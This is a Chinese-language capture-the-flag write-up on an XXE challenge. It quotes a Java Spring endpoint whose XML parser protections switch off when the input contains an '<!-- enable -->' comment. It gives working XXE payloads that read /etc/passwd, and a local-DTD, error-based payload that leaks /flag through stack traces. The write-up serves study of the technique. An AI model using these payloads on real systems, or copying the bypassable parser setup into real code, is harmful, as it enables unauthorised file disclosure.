XXE小思路

前言

最近碰到一个xxe的题,某大佬出的xxe的java题,一个骚思路

##思路学习过程

部分关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@PostMapping(value = "/import/xml", produces = MediaType.TEXT_HTML_VALUE)
public String importXml(@RequestParam("xml") String xml, Model model) throws Exception {

if (xml != null && xml.length() > 10000) {
xml = xml.substring(0, 10000);
}
boolean enable = xml != null && xml.contains("<!-- enable -->");

javax.xml.parsers.DocumentBuilderFactory factory = javax.xml.parsers.DocumentBuilderFactory.newInstance();

if (!enable) {
try {
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
} catch (Exception ignored) { }
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
}

javax.xml.parsers.DocumentBuilder builder = factory.newDocumentBuilder();
try {
org.w3c.dom.Document doc = builder.parse(new java.io.ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)));
String title = doc.getElementsByTagName("title").item(0) != null ?
doc.getElementsByTagName("title").item(0).getTextContent() : "";
String content = doc.getElementsByTagName("content").item(0) != null ?
doc.getElementsByTagName("content").item(0).getTextContent() : "";
model.addAttribute("title", title);
model.addAttribute("content", content);
return "import_result";
} catch (Exception e) {
java.io.StringWriter sw = new java.io.StringWriter();
java.io.PrintWriter pw = new java.io.PrintWriter(sw);
e.printStackTrace(pw);
pw.flush();
model.addAttribute("title", "解析错误");
model.addAttribute("content", sw.toString());
return "import_result";
}
}

从功能来看就是一个xml的解析器

1
要求传入的信息有<!-- enable -->能够绕过防护

相关payload加一个

1
<!-- enable -->

即可绕过

比如

1
2
3
4
5
6
7
8
<!-- enable -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<title>&xxe;</title>
<content>&xxe;</content>
</root>

但是在搜索发现过程中大哥告诉我这不是预期解,他本身设计了一个不出网的xxe利用,想要利用加载本地xxe来实现读取flag

本地加载xxe,需要本地寻找xxe

于是看到了这篇文章

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

  1. 枚举常见路径:使用文件读取功能尝试常见DTD路径
  2. 查看错误信息:如果DTD文件不存在,错误信息可能包含路径信息
  3. 根据应用类型:WebSphere、Tomcat、WebLogic等都有特定的DTD位置
  4. 查看系统文档:某些应用会在文档中列出DTD位置

对于这个题找到了

1
/usr/share/xml/schema/xml-core/catalog.dtd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" ?>
<!-- enable -->
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/schema/xml-core/catalog.dtd">

<!ENTITY % local.group.mix ')+>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>

利用错误信息读取文件(推荐)

由于代码会打印异常堆栈,我们可以故意构造一个会导致错误的实体引用,让文件内容出现在错误信息中:

1
2
3
4
5
6
7
8
<!-- enable -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<title>&xxe;</title>
<content>&xxe;</content>
</root>